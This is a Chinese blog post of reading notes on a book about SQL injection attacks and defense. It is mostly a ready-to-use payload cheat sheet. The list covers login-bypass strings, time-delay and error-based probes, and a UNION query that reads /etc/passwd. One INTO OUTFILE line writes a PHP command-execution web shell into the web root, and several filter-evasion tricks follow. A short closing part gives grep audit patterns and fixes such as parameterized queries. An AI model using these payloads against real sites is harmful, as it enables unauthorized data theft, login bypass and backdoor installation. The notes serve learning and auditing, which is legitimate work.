读《SQL注入攻击与防御》笔记

‘ //单引号报错,转义
%bf%5c%27 //宽字节注入,数据库编码为GBK时,%bf%5c认为是一个字节,绕过PHP正则
UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)– //读取系统文件
UNION SELECT “<?system($_REQUEST[‘cmd’];?>)” INTO OUTFILE “/var/www/html/0535code.com”– // 写入后门

and 1=1 和 and 1=2 //数字类型注入条件判断
原理:+1 和 -1 编码后://经测试,需要编码后测试 %2B1为+1,-1为-1,-号编码后也是-所以直接用-号测试好了

hacker 和 hack’ + ‘er 或 hack er //字符型注入条件判断
‘ and ‘1’=’1 和 ‘ and ‘1’=’2 //同上

#检测构造的时候,如果发现跳转页面,比如首页。会有两种情况存在;
#1、后台判断参数化查询,如果不符合参数类型则跳转,不存在注入漏洞
#2、后台判断是否正常返回记录值,如果没有则跳转,存在注入漏洞

and 1=0/@@version;– //字符串转化为整数 看版本
and 1=0/user;– //字符串转化为整数 看当前数据库用户

1′ GROUP BY productid having 1’=’1 //枚举所有列
1′ and USER not in (‘admin’) and 1=0/USER and 1’=’1 //判断当前账户权限,是否为管理员

常用内联测试字符串及变形:
字符型
1′ or ‘1’=’1
1′) or (‘1’=’1
value’ or ‘1’=’2
value’) or (‘1’=’2
1’and ‘1’=’1
1′) and (‘1’=’1
1’ or ‘ab’=’a’+’b’
1′) or (‘ab’=’a’+’b’)
1′ or ‘ab’=’a’b
1’) or (‘ab’=’a’b)
1’ or ‘ab’=’a’||’b
1’) or (‘ab’=’a’||’b
数字型
1+1
3-1
value+0
1 or 1=1
1) or (1=1
value or? 1=2
value) or (1=2
1 and 1=2
1) and (1=2
1 or ‘ab’=’a’+’b’
1) or (‘ab’=’a’+’b’
1 or ‘ab’=’a”b’
1) or? (‘ab’=’a”b’
1 or ‘ab’=’a’||’b’
1) or (‘ab’=’a’||’b’

登陆弱口令
admin’–
admin’)–
admin’#
admin’)#
1–
1)–
1 or 1=1–
1) or 1=1–
‘or ‘1’=’1′–
‘) or ‘1’=’1′–
-1 and 1=2–
-1) and 1=2–
‘and ‘1’=’2′–
‘) and ‘1’=’2′–
1/*comment*/

microsoft sql 时间延迟
aspx?id=1; waitfor delay ‘0:0:5’;–

mysql 时间延迟
php?id=1; select benchmark(10000000,encode(‘hello’,’mom’);–

利用篇
@@version #DBMS版本
@@servername #安装SQL server服务器名称
@@language #当前使用语言
@@spid #当前用户进程ID

11+union+select+null,null,null,null– 嗅探列数
11+order+by+6 排序方式实现嗅探列数,实际列数 6-1=5列
#排序方式实现结合 二分法算法实现 可提高效率
#UNION对已知表数据查询速度会更快一些

asp?id=12;if+(system_user=’sa’)+WAITFOR+DELAY+’0:0:5′– mssql判断是否为dba权限
select len(system_user) 获取用户名长度

绕过技术:
1.随机大小写绕过
SeLect
2.URL编码绕过
‘%2f%2a*/UNION%2f%2a*/password%2f%2a*/FROM%2f%2a*/table_User%2f%2a*/…
3.双URL编码绕过
%252f%%252a*/UNION%252f%%252a*/…
4.动态查询绕过
Oracle:’SELE’||’ct’ 编码后 ‘SELE’%20’ct’
MS-SQL:’SELE’+’ct’ 编码后 ‘SELE’%2B’ct’
Mysql:’SELE’+’ct’ 编码后 ‘SELE’%2B’ct’
5.ASCII码编码绕过
char()
6.使用空字节
%00′ UNION SELECT password FROM table_User WHERE username=’admin’–
7.嵌套剥离后的表达式
比如SELECTSELECT,只过滤了其中一个
8.利用截断
单引号或双引号或扩展闭合截断
9.GET,POST方式切换

/**/ 单行注释
–? 多行注释
# mysql单行注释符
SELECT 1 /*!40119 + 1*/ 加!号后,如果当前数据库版本等于大于4.01.19则代码被执行

value/**/or/**/1=1?? //空格绕过

审计技术

grep -r -n “\(mysql\|mssql\|mysql_db\)_query\(.*\$_\(GET\|POST\).*\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#对文件目录遍历,src为路径,php版
grep -r -n “\(oci\|ora\)_parse\(.*\$_\(GET\|POST\).*\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#java版
grep -r -n “preparedStatement(\|executeQuery(\|executeUpdate(\|execute(|addBatch(\|executeBatch(” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#C#版
grep -r -n “SqlCommand(\|SqlParameter(\|OleDbCommand(\|OleDbparameter(\OracleCommand(\|OracleParameter(|\OdbcCommand(\|Odbcparameter” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’
#查是否存在注入点
grep -i -r -n “sql =.*\”\(SELECT\|UPDATE\|INSERT\|DROP\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

注入类型:
1.时间延迟注入
aspx?id=1; waitfor delay ‘0:0:5’;–
分割sql语句,前面sql语句如果为假,则执行后面语句 waitfor delay ‘0:0:5’;– 判断返回时间是否延迟了5秒
2.基于错误注入
asp?id=1/is_srvrolemember(‘sysadmin’)
上述构造是利用返回错误,反推构造sql条件
3.基于内容
asp?id=2、asp?id=2-1、asp?id=2%2B1(asp?id=2+1)、
利用返回内容,测试是否存在sql注入,后面可以写为其他条件

修复漏洞:
输入验证,即参数化查询,强制数据类型及字符串长度控制。
数据类型、数据大小、数据范围、数据内容
正则过滤,白名单正则(不推荐黑名单正则,世面一般都是用的黑名单正则)

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.